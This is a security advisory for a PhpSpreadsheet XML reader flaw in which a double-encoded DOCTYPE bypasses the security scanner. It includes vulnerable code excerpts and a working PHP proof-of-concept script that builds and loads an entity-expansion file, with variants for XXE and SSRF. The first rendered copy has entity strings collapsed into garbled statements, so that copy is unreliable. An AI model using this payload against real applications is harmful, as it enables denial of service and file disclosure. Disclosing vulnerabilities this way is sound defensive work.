GHSA-RXJ4-H86G-25GC
Vulnerability from github – Published: 2026-10-27 15:38 – Updated: 2026-10-27 15:38Summary
The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the < character as &#60;, the first scan decodes & to & (forming <), and the second scan decodes < to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.
Details
The vulnerability involves an interaction between three code locations:
1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:
public function scan($xml): string
{
$pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';
if (preg_match($pattern, $xml)) { // CHECK 1 (raw)
throw new Exception('Detected use of ENTITY...');
}
$xml = $this->toUtf8($xml);
if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8)
throw new Exception('Detected use of ENTITY...');
}
if ($this->callback !== null) {
$xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
}
return $xml; // <!DOCTYPE now present, never checked
}
2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:
$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content
3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:
$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
$this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);
The double-scan decode chain:
Raw file: &#60;!DOCTYPE
|
1st scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(&) = &
|
Stored: <!DOCTYPE
|
2nd scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(<) = <
|
Parser sees: <!DOCTYPE ← never detected by either scan
The unentity() callback (Xml.php, lines 54–61) protects five named entities (& < > " ') via Unicode placeholders, but numeric entities (& < & <) are not protected and are decoded by html_entity_decode().
PoC
Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:
<?php
require 'vendor/autoload.php';
// Double-encoded: &#60; survives two scan() passes
// 1st scan callback: & → & (forms <)
// 2nd scan callback: < → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);
$xml = '<?xml version="1.0"?>' . "\n"
. '<?mso-application progid="Excel.Sheet"?>' . "\n"
. '&#60;!DOCTYPE Workbook [' . "\n"
. ' &#60;!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
. ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
. ' <Worksheet ss:Name="Sheet1">' . "\n"
. ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
. ' </Worksheet>' . "\n"
. '</Workbook>';
file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);
echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";
$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
Run: php -d memory_limit=512M poc_toctou.php
Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).
Hex variant: Replace &#60; with &#x3C; — both are decoded by html_entity_decode().
Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.
Impact
| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |
|---|---|---|
| Denial of Service (quadratic blowup) | Exploitable | Exploitable |
| Local file read via SYSTEM entity | Exploitable | Blocked by default |
| SSRF via SYSTEM entity | Exploitable | Blocked by default |
| File read when LIBXML_NOENT is used | Exploitable | Exploitable |
Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.9.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.10.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.7"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-108357"
],
"database_specific": {
"cwe_ids": [
"CWE-611",
"CWE-776"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-27T15:38:22Z",
"nvd_published_at": "2026-10-22T18:17:26Z",
"severity": "HIGH"
},
"details": "### Summary\nThe SpreadsheetML XML reader (`Reader\\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `\u003c` character as `\u0026#38;#60;`, the first scan decodes `\u0026#38;` to `\u0026` (forming `\u0026#60;`), and the second scan decodes `\u0026#60;` to `\u003c` (forming `\u003c!DOCTYPE`). Neither scan\u0027s pattern check detects the `\u003c!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP \u003c 8.0 or when `LIBXML_NOENT` is used.\n\n### Details\n\nThe vulnerability involves an interaction between three code locations:\n\n**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87\u2013108) \u2014 checks the pattern *before* the callback:\n\n```php\npublic function scan($xml): string\n{\n $pattern = \u0027/\\0*\u003c\\0*!\\0*D\\0*O\\0*...\\0*/\u0027;\n\n if (preg_match($pattern, $xml)) { // CHECK 1 (raw)\n throw new Exception(\u0027Detected use of ENTITY...\u0027);\n }\n $xml = $this-\u003etoUtf8($xml);\n if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8)\n throw new Exception(\u0027Detected use of ENTITY...\u0027);\n }\n if ($this-\u003ecallback !== null) {\n $xml = call_user_func($this-\u003ecallback, $xml); // DECODE (after checks!)\n }\n return $xml; // \u003c!DOCTYPE now present, never checked\n}\n```\n\n**2. `Xml::canRead()`** (Xml.php, lines 79\u2013117) \u2014 scans and stores the result:\n\n```php\n$data = file_get_contents($filename);\n$data = $this-\u003egetSecurityScannerOrThrow()-\u003escan($data); // 1st scan\n// ...\n$this-\u003efileContents = $data; // stores partially-decoded content\n```\n\n**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120\u2013150) \u2014 re-scans the stored content:\n\n```php\n$data = $this-\u003efileContents; // already partially decoded\n$xml = simplexml_load_string(\n $this-\u003egetSecurityScannerOrThrow()-\u003escan($data) // 2nd scan finishes decoding\n);\n```\n\nThe double-scan decode chain:\n\n```\nRaw file: \u0026#38;#60;!DOCTYPE\n |\n1st scan(): pattern check \u2192 no match (no \"\u003c\" character)\n callback \u2192 html_entity_decode(\u0026#38;) = \u0026\n |\nStored: \u0026#60;!DOCTYPE\n |\n2nd scan(): pattern check \u2192 no match (no \"\u003c\" character)\n callback \u2192 html_entity_decode(\u0026#60;) = \u003c\n |\nParser sees: \u003c!DOCTYPE \u2190 never detected by either scan\n```\n\nThe `unentity()` callback (Xml.php, lines 54\u201361) protects five named entities (`\u0026amp; \u0026lt; \u0026gt; \u0026quot; \u0026apos;`) via Unicode placeholders, but numeric entities (`\u0026#38; \u0026#60; \u0026#x26; \u0026#x3C;`) are not protected and are decoded by `html_entity_decode()`.\n\n### PoC\n\nSave the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\n// Double-encoded: \u0026#38;#60; survives two scan() passes\n// 1st scan callback: \u0026#38; \u2192 \u0026 (forms \u0026#60;)\n// 2nd scan callback: \u0026#60; \u2192 \u003c (forms \u003c!DOCTYPE)\n$entity_value = str_repeat(\u0027A\u0027, 100000);\n$refs = str_repeat(\u0027\u0026big;\u0027, 200);\n\n$xml = \u0027\u003c?xml version=\"1.0\"?\u003e\u0027 . \"\\n\"\n . \u0027\u003c?mso-application progid=\"Excel.Sheet\"?\u003e\u0027 . \"\\n\"\n . \u0027\u0026#38;#60;!DOCTYPE Workbook [\u0027 . \"\\n\"\n . \u0027 \u0026#38;#60;!ENTITY big \"\u0027 . $entity_value . \u0027\"\u003e\u0027 . \"\\n\"\n . \u0027]\u003e\u0027 . \"\\n\"\n . \u0027\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\u0027 . \"\\n\"\n . \u0027 xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\u003e\u0027 . \"\\n\"\n . \u0027 \u003cWorksheet ss:Name=\"Sheet1\"\u003e\u0027 . \"\\n\"\n . \u0027 \u003cTable\u003e\u003cRow\u003e\u003cCell\u003e\u003cData ss:Type=\"String\"\u003e\u0027 . $refs . \u0027\u003c/Data\u003e\u003c/Cell\u003e\u003c/Row\u003e\u003c/Table\u003e\u0027 . \"\\n\"\n . \u0027 \u003c/Worksheet\u003e\u0027 . \"\\n\"\n . \u0027\u003c/Workbook\u003e\u0027;\n\nfile_put_contents(\u0027poc.xml\u0027, $xml);\necho \"File size: \" . filesize(\u0027poc.xml\u0027) . \" bytes\\n\";\n\n$mem_before = memory_get_usage(true);\n$reader = new \\PhpOffice\\PhpSpreadsheet\\Reader\\Xml();\necho \"canRead: \" . ($reader-\u003ecanRead(\u0027poc.xml\u0027) ? \u0027true\u0027 : \u0027false\u0027) . \"\\n\";\n$spreadsheet = $reader-\u003eload(\u0027poc.xml\u0027);\n$peak = memory_get_peak_usage(true);\n\necho \"Peak memory: \" . round($peak / 1024 / 1024, 1) . \" MB\\n\";\n\n$val = $spreadsheet-\u003egetActiveSheet()-\u003egetCell(\u0027A1\u0027)-\u003egetValue();\necho \"Cell A1 length: \" . strlen($val) . \" bytes\\n\";\necho \"Entity expansion: \" . (strlen($val) \u003e 10000 ? \"CONFIRMED\" : \"not detected\") . \"\\n\";\n```\n\nRun: `php -d memory_limit=512M poc_toctou.php`\n\n**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet\u0027s max cell length, confirming entity expansion).\n\n**Hex variant:** Replace `\u0026#38;#60;` with `\u0026#38;#x3C;` \u2014 both are decoded by `html_entity_decode()`.\n\n**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.\n\n### Impact\n\n| Attack | PHP \u003c 8.0 / libxml2 \u003c 2.9 | PHP 8.x / libxml2 2.9+ |\n|--------|---------------------------|------------------------|\n| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |\n| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |\n| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |\n| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |\n\nAny application that accepts user-uploaded SpreadsheetML XML files (recognized by the `\u003c?mso-application progid=\"Excel.Sheet\"?\u003e` processing instruction) and processes them with PhpSpreadsheet\u0027s `Xml` reader is vulnerable.",
"id": "GHSA-rxj4-h86g-25gc",
"modified": "2026-10-27T15:38:23Z",
"published": "2026-10-27T15:38:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108357"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.